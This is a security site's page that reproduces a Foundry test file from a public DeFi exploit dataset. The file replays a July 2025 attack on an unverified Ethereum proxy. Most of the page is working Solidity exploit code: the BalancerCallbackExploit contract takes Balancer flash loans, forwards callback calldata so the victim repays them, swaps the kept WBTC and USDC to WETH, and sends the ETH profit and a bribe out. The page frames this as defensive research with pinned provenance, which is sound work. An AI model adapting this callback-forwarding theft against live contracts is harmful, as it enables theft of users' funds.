Public reproduction file
src/test/2025-07/Unverified670471_exp.sol
Public reproduction file for dataset entry Unverified670471.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : $1,818.337// Attacker : 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE37838// Attack Contract : 0x2Db9F0A1e21a68b5dF3B0ab9F5CEb154eFA26f2D9// Vulnerable Contract : 0x6704713B32CB1B3e89B0CF7D77417807061BdEB810// Attack Tx : https://etherscan.io/tx/0x6a2a9f48ff78966cb44772c3551a56d7c5b788168f81cae8d06006c79a86fc1611//12// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x6704713B32CB1B3e89B0CF7D77417807061BdEB8#code14// Vulnerable Implementation : https://etherscan.io/address/0x0b5125099395324e8f0db097a3e0c286e3dcba12#code15//16// @Analysis17// Telegram Alert : https://t.me/defimon_alerts/154918//19// Attack summary: The attacker borrowed WETH, WBTC, and USDC from Balancer, forwarded callback-shaped calldata to the20// victim, and kept the borrowed assets while the victim repaid Balancer.21// Root cause: The unverified proxy accepted an externally forwarded Balancer `receiveFlashLoan` callback without22// sufficient caller/origin validation.24interface IERC20Like {25 function approve(address spender, uint256 amount) external returns (bool);26 function balanceOf(address account) external view returns (uint256);27}29interface IWETHLike is IERC20Like {30 function withdraw(uint256 amount) external;31}33interface IBalancerVault {34 function flashLoan(address recipient, address[] calldata tokens, uint256[] calldata amounts, bytes calldata userData)35 external;36}38interface IBalancerFlashLoanRecipient {39 function receiveFlashLoan(40 address[] calldata tokens,41 uint256[] calldata amounts,42 uint256[] calldata feeAmounts,43 bytes calldata userData44 ) external;45}47interface IUniswapV2Router {48 function swapExactTokensForTokens(49 uint256 amountIn,50 uint256 amountOutMin,51 address[] calldata path,52 address to,53 uint256 deadline54 ) external returns (uint256[] memory amounts);55}57contract ContractTest is BaseTestWithBalanceLog {58 address private constant ATTACKER = 0xe4B97Db5FAF476DB464Bc271097Fac97d6CE3783;59 uint256 private constant FORK_BLOCK = 23_006_171;60 uint256 private constant NET_ETH_PROFIT = 484_905_272_210_340_031;62 function setUp() public {63 vm.createSelectFork("mainnet", FORK_BLOCK);65 fundingToken = address(0);66 attacker = ATTACKER;68 vm.label(ATTACKER, "attacker");69 }71 function testExploit() public balanceLog {72 uint256 beforeBalance = ATTACKER.balance;74 vm.startPrank(ATTACKER);75 BalancerCallbackExploit exploit = new BalancerCallbackExploit(ATTACKER);76 exploit.execute();77 vm.stopPrank();79 assertEq(ATTACKER.balance - beforeBalance, NET_ETH_PROFIT, "ETH profit mismatch");80 }81}83contract BalancerCallbackExploit is IBalancerFlashLoanRecipient {84 address private constant VICTIM = 0x6704713B32CB1B3e89B0CF7D77417807061BdEB8;85 address private constant BRIBE_RECIPIENT = 0x4838B106FCe9647Bdf1E7877BF73cE8B0BAD5f97;87 IBalancerVault private constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);88 IUniswapV2Router private constant UNISWAP_ROUTER = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);90 IWETHLike private constant WETH = IWETHLike(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);91 IERC20Like private constant WBTC = IERC20Like(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);92 IERC20Like private constant USDC = IERC20Like(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);94 uint256 private constant WETH_FLASH_AMOUNT = 473_522_669_684_430_856;95 uint256 private constant WBTC_FLASH_AMOUNT = 52_290;96 uint256 private constant USDC_FLASH_AMOUNT = 18_718_287;97 uint256 private constant GROSS_WETH_PROFIT = 494_905_272_210_340_031;98 uint256 private constant BRIBE_AMOUNT = 10_000_000_000_000_000;99 uint256 private constant NET_ETH_PROFIT = 484_905_272_210_340_031;101 address private immutable _recipient;103 constructor(address recipient) {104 _recipient = recipient;105 }107 function execute() external {108 _stealViaVictimCallback(address(WETH), WETH_FLASH_AMOUNT);109 _stealViaVictimCallback(address(WBTC), WBTC_FLASH_AMOUNT);110 _stealViaVictimCallback(address(USDC), USDC_FLASH_AMOUNT);112 _swapToWeth(address(WBTC), WBTC_FLASH_AMOUNT);113 _swapToWeth(address(USDC), USDC_FLASH_AMOUNT);115 uint256 wethBalance = WETH.balanceOf(address(this));116 require(wethBalance == GROSS_WETH_PROFIT, "unexpected WETH proceeds");117 WETH.withdraw(wethBalance);119 _sendEth(BRIBE_RECIPIENT, BRIBE_AMOUNT);120 _sendEth(_recipient, NET_ETH_PROFIT);121 }123 receive() external payable {}125 function receiveFlashLoan(126 address[] calldata tokens,127 uint256[] calldata amounts,128 uint256[] calldata feeAmounts,129 bytes calldata userData130 ) external override {131 require(msg.sender == address(BALANCER_VAULT), "unexpected lender");132 IBalancerFlashLoanRecipient(VICTIM).receiveFlashLoan(tokens, amounts, feeAmounts, userData);133 }135 function _stealViaVictimCallback(address token, uint256 amount) private {136 address[] memory tokens = new address[](1);137 tokens[0] = token;139 uint256[] memory amounts = new uint256[](1);140 amounts[0] = amount;142 BALANCER_VAULT.flashLoan(address(this), tokens, amounts, "");143 }145 function _swapToWeth(address token, uint256 amount) private {146 IERC20Like(token).approve(address(UNISWAP_ROUTER), amount);148 address[] memory path = new address[](2);149 path[0] = token;150 path[1] = address(WETH);152 UNISWAP_ROUTER.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp);153 }155 function _sendEth(address to, uint256 amount) private {156 (bool success,) = payable(to).call{value: amount}("");157 require(success, "ETH transfer failed");158 }159}Analysis
Dataset entry
Public Foundry test for “Unverified670471” (2025-07-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe4b97db5faf476db464bc271097fac97d6ce3783
- Attack Contract
0x2db9f0a1e21a68b5df3b0ab9f5ceb154efa26f2d
- Vulnerable Contract
0x6704713b32cb1b3e89b0cf7d77417807061bdeb8
- Attack Tx
0x6a2a9f48ff78966cb44772c3551a56d7c5b788168f81cae8d06006c79a86fc16
File record
- Name
- Unverified670471
- Path
- src/test/2025-07/Unverified670471_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6af7dc46fac6381833e34ddc769b4b98a374f995
- Language
- Solidity
- Size
- 160 lines
- Date
- 2025-07-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/Unverified670471_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6af7dc46fac6381833e34ddc769b4b98a374f995, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.